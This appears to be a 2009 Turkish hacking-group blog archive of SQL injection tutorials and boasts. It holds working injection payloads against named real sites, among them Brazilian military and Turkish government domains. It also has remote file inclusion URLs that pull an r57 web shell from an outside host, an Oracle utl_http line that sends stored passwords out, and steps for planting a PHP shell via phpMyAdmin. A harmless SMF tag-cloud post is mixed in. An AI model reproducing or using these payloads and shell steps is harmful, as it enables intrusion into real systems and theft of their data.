2. Bir Şeyde Tablomuzdaki Kolonları Bulmak,

pst.php?id=1 SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

%password% yerine tablomuzun adını yazdıımızda kolonlar ekrana dökülecektir..

Postgre SQL INjection Makalemiz Bukadar Arkadaşlar Herkese Okudugu Icin Tesekkür Ederim

PostgreSQL'de Kullanabileceğiniz Bütün SQL Inj Kodlarını ,

turkesh4n.blogspot.com'da paylaştım..

Tekrar Teşekkürler / Bug Researchers

Oracle'da SQL Injection

2009-06-12T02:35:00.000-07:00

Selam Arkadaslar,
Size Bu Yazımda Oracle Kullanan Sistemlerde Sql Injectionu Anlatıcam.

Şimdi Öncelikle Şöyle Başlayalım,

Oracle , MS yada mysql gibi bir veritabanı altyapısıdır.

Şimdi Biz mysql sistemlerde basit bir union querysini nasıl yapıyoruz,

mys.php?id=-1+union+select+0,user,2,3,4+from+duaL

Aynı Işlem Oracle’da,

ora.php?id=-101 UNION ALL SELECT (SELECT user FROM dual) FROM DUAL

Koduyla Exploitlenebiliyor.

Mysql’de nasıl ,

mys.php?id=-1+union+select+1,group_concat(table_name),3,4+from+information_schema.tables

Şeklinde Tablo Isımlerini Alıyorsak Burdada Keyword Kullanıyoruz Yani

ora.php?id=-1 SELECT table_name FROM all_tables WHERE TABLESPACE_NAME=’keyw0rd’

keyw0rd yazıp exploitimi calıstırırsam database’lerdeki keyw0rd ile ilgili bütün tabloları çekecektir.mantık bu şekilde işler.

Kolonları Çekmek,

mys.php?id=-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x61646d696e--

table_name=0x61646d696e-- table_name=0x’den Sonrası Kolonlarını Çekeceğimiz Tablonun HExlenmiş Halidir..

Oracledada işlem,

ora.php?id=-1 SELECT column_name FROM all_tab_columns WHERE table_name = ’TABLOADI’

MySQL’den Artılar Çok Olan Bir Altyapı Ama Biraz Daha Zor Örneğin,

union select 1,2,user(),password()+from+mysql.user gibi(salladım)

bir kodla mysql userının şifresinin hashını ve ismini alabiliyoruz ama oracleda,

SELECT name, password FROM sys.user$ where type#=1

mysqlde

union select 1,2,3,version(),4,5--

gibi bir kodla alabileceğimiz versiyonu oracle'da almak için böyle bir kod çalıştırmamız gerekiyor..

Select banner || '-' || (select banner from v$version where banner like 'Oracle%') from v$version where banner like 'TNS%'

~ Oracle'da Blind Sql Injection Testleri

Blind sql'i 1=0 gibi yöntemlerle test edemiyoruz oracle'da.

* BEGIN DBMS_LOCK.SLEEP(5); END;
* CHR()
* ASCII()
* SUBSTR()
* BITAND()
* LOWER()
Gibi Yöntemler Yanısıra DNS'e Veriyazmaya çalışarak'da Outbanding ile BSQL'i Test Edebiliyor..

OutBanding Kodları,

* SELECT utl_http.request('http://www.google.com') FROM DUAL SELECT utl_http.request('http://www.example.com/?' || (SELECT pass FROM members) ) FROM DUAL
* SELECT HTTPURITYPE('http://www.google.com').getXML() FROM DUAL;

Beni izlemeye devam edin..

phpmyadminden shell atmak

2009-06-11T02:46:00.001-07:00

phpmyadmindeki sql kısmına gir,

SELECT @@datadir yaz

aşşağıda

datadir

c:/Servan/mysql gibi birşey çıkar,

/var/lib gibi çıkıyorsa server linxdur.

sonra sitenin serverdaki yolunu bulacaksin,

/home/serv/public_html/ gibi mesela.

sql kısmına gir ve yaz,

CREATE TABLE hacker(
Stack TEXT
) TYPE=MYISaM;

INSERT INTO hacker(stack)
VALUES(
’’
);

sonra kod çalıştırdığında hacker diye bi tablo açmış ve içine bizim kodları yazmış olacak.

bu kodlar pmadmindeyken bi işimize yaramaz oyüzden into dumpfile ile dışarı php dosyası olarak çıkartalım..

select * into dumpfile ’ilk adımda buldugun site klasörü/servan.php’ from hacker;

şimdi site.com/servan.php?v=Windows ise windows,lin ise lin komutları çalıştırarak basabilirsin..

SMF Tag Bulutu Yapmak xD

2009-06-11T01:53:00.000-07:00

Display.template.php yi Aç Bul ve Sil :
//Tagging System echo ’

’, $txt[’smftags_topic’], ’’; foreach ($context[’topic_tags’] as $i => $tag) { echo ’’ . $tag[’tag’] . ’ ’; if(!$context[’user’][’is_guest’]) echo ’[X] ’; } if(!$context[’user’][’is_guest’]) echo ’ ’ . $txt[’smftags_addtag’] . ’

’; //End Tagging System
Aşağıdaki Kodu Bul :
} ?>
Üstüne Ekle
//Tagging System echo’

||| Etiketler |||

’; foreach ($context[’topic_tags’] as $i => $tag) { echo ’’ . $tag[’tag’] . ’ ’; if(!$context[’user’][’is_guest’]) echo ’[X] ’; } if(!$context[’user’][’is_guest’]) echo ’ ’ . $txt[’smftags_addtag’] . ’

’; //End Tagging System
Aşağıdaki kodu bul :
’; } if ($context[’show_spellchecking’]) echo ’
Aşağıdaki kod ile değiştir :

’; } if ($context[’show_spellchecking’]) echo ’
yürütülecek php scripti:tagsql.php ftp ye atıp 1 kere çalıştırın.

Tags.php /Sources dizinine
Tags.template.php Themes/default dizinine
Ekteki Tags.turkish.php dosyasını languages klasörüne gönderin.
http://rapidshare.com/files/243152641/Tags.turkish.php.html

Kolay Gelsin..

WindowsBYpasser 5.x

2009-06-08T01:28:00.000-07:00

[B]S.A

Bug Researchers Group'un Sizler Için Hazırladığı PHP 5.x Kullanan Windows Serverlarda Çalıştıramadığınız Komutları Çalıştırmanız Için Tek Çare WindowsBypasser :)..

3 Dosyadan Oluşan Windows Bypasser'ı Siteye Upload Ettikten Sonra Serverdaki Siteleri Görebilir ve Bütün Izinlere Sahip olabilirsiniz..

CGITelnet'in Calısmadıgı Serverlarda Bunu Calıstırırsanız Olumlu Sonuc Alırsınız..

linuxda \ windowsda / kullanılmasından dolayı meydana gelen safe mode bypass açığından faydalanılmıştır.

Author : MnmL

Download : http://rapidshare.de/files/47457629/Windows_Server_Bypasser_PHP_5.x.rar.html[/B]

Pinnacle Cart Administration XSRF-0-DAY

2009-06-08T00:51:00.000-07:00

Script Name : Pinnacle Cart Administration

Bug : XSRF

Bug Fix : Değişkenler Atanmalıdır.

Bug Advice : 3. Kişiler Kendilerini Yönetici Yapabilirler.

Author : MnmL / 0x3a Cr3W2

Bug Code :http://cyber-warrior.org/forum/display_topic_threads.asp?ForumID=32&TopicID=335975

Yarim Senden Ayrılalı Çok Zaman oldu..

2009-06-08T00:36:00.000-07:00

2-3 Mysql inj

2009-06-07T17:05:00.000-07:00

seLam gencLer,
gece gece sıkıLıodk crew 0Larak, ne yapaLım ne yapaLım düsündük basLadık inf schema kasmaya .D

http://www.antiqueshop.ee/icons/aikon.php?id=-109+union+select+1,2,3,4,5,group_concat(table_name)+from+information_schema.tables+group+by+table_schema--

http://www.learnbirdsongs.com/birdsong.php?id=-5+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

http://www.aroma.us/info_page.php?id=-5+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+group+by+table_schema--

http://www.exhibitionsireland.com/eventsdetails.php?id=5+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+group+by+table_schema--

http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/information_schema.tables--

Aer.Mil.BR SQL Injection xD

2009-06-07T17:00:00.000-07:00

aer.mil.br sqled by 0x3a Crew xD

Link : http://www.aer.mil.br/portal/capa/index.php?mostra=1436+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+table_name=0x74625F7573756172696F+limit+1,1/*

İlerletebilirsiniz,

birazda yardımcı olayım sadece kolonları cektim, şema:kolon:tablo çekmek isterseniz

concat(TABLE_SCHEMA,0x3a,TABLE_NAME,0x3a,COLUMN_NAME),6,7,8,9,10,11,12,13,14,15+from+information_schema.columns--

into'yada acık heralde.

Lnx Server.

2009-06-07T16:57:00.000-07:00

Selam gencler,

imzamada yazdıgım gibi günlük 3 tane server vericem sizlere basan basana aq .D

http://www.samgler.com/minibb/////////addon_smilies2.php?pathToFiles=http://turkey-h.org/r57.txt?

http://avisalaska.com/citysales/citylist.php?city=http://turkey-h.org/r57.txt?

http://www.kilcullen.cz/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://turkey-h.org/r57.txt?

Uğur Dershaneleri SQL Injection xD

2009-06-07T16:55:00.000-07:00

Site : http://www.ugurdershanesi.com.tr

DB Lang : MySql

ADvice : Bilgilere Erişilebilir.

Author : MnmL ( o.turkesh4n)

ExpLoit: /haber.php?HABER_ID=-9+union+select+all+1,concat(TABLE_SCHEMA,0x3a,TABLE_NAME,0x3a,COLUMN_NAME),3,4,5,6,7,8,9,10+from+information_schema.COLUMNS--

Türkiye Kürek Federasyonu sQL Injecti0n xD

2009-06-07T16:52:00.000-07:00

Site : http://tkf.gov.tr

Bug : Sql Injection

Advice : Admin Bilgileri Çalınabilir.

Exploit : /index.php?id=-21+union+select+1,2,3,version()--

Author : MnmL(o.turkesh4n)

Mysql inj group() video

2009-06-07T15:24:00.001-07:00

selam dostlar.

cektgm video'da mysql inj yapmayı ve group_concat ile information schema'dan tablo ve kolon isimlerini cekmeyi gosterdim..

video downLoad . http://rapidshare.de/files/47449947/mysql_inj.rar.html

0x3a cr3w l0w3r2.

Yeni Blogum. :)

2009-06-07T14:29:00.000-07:00

Evet zaman sıkıntısı ve yoğunluk nedeniyle bir türlü açamadığım kişisel sitemi açtım Bundan önceki anılarım; bir iki blog girişimim oldu ve en sonunda “Ufuq” saolsun tüm veri tabanı arazi oldu :-D . Umarım bir daha yaşanmaz Ufuq Bey ! Galiba bu alandan artık çok şey paylaşacağız. Bunu yazarken bir an düşündüm yazdığım o kadar yazı gitti Neyse yeni blog yeni heycanlar.

Şimdilik kısa bir giriş yaptım.. :)